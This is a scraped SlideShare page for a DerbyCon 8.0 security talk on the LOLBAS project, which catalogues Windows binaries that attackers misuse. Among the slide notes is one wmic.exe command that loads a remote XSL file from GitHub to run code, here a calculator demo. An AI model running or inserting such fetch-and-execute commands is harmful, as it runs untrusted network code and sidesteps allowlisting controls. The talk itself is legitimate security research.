SlideShare Entdecken Suche Sie

Nächste SlideShare

Wird geladen in …5

#Lolbins - Nothing to LOL about!

1.943 Aufrufe

Oddvar Moe

, Senior Security Consultant hos TrustedSec

Folgen

Veröffentlicht am 7. Okt. 2018

Slides from session at Derbycon 8.0. Description: You have probably heard the term LOLBin, LOLScript or LOLLib by now. Want to get more insights on that? Then this is the talk you want to attend.This talk will cover the Living Off The Land Binaries and Scripts (LOLBAS) project, what the project is, how it became and how you can help this evolve into the future. The talk will also go over some of my favorite LOLBins that has came to light due to this project (at least that's what I like to think) and show you some cool stuff! I mean, everybody loves to see binaries misbehave.

Veröffentlicht in: Technologie

Als Erste(r) kommentieren

Aufrufe

Aufrufe insgesamt

1.943

Auf SlideShare

Aus Einbettungen

Anzahl an Einbettungen

Aktionen

Geteilt

Downloads

Kommentare

Gefällt mir

Einbettungen 0

Keine Einbettungen

Keine Notizen für die Folie

Many different names

AppLocker bypass list
Various gists
Onenotes
Bookmarked tweets
Some blogposts

Detection details needs some more work

Gtfo bins was on my list

wmic.exe process get brief /format:"https://raw.githubusercontent.com/LOLBAS-Project/LOLBAS/master/OSBinaries/Payload/Wmic_calc.xsl"

#Lolbins - Nothing to LOL about!

1. * Walter Legowski @sadprocessor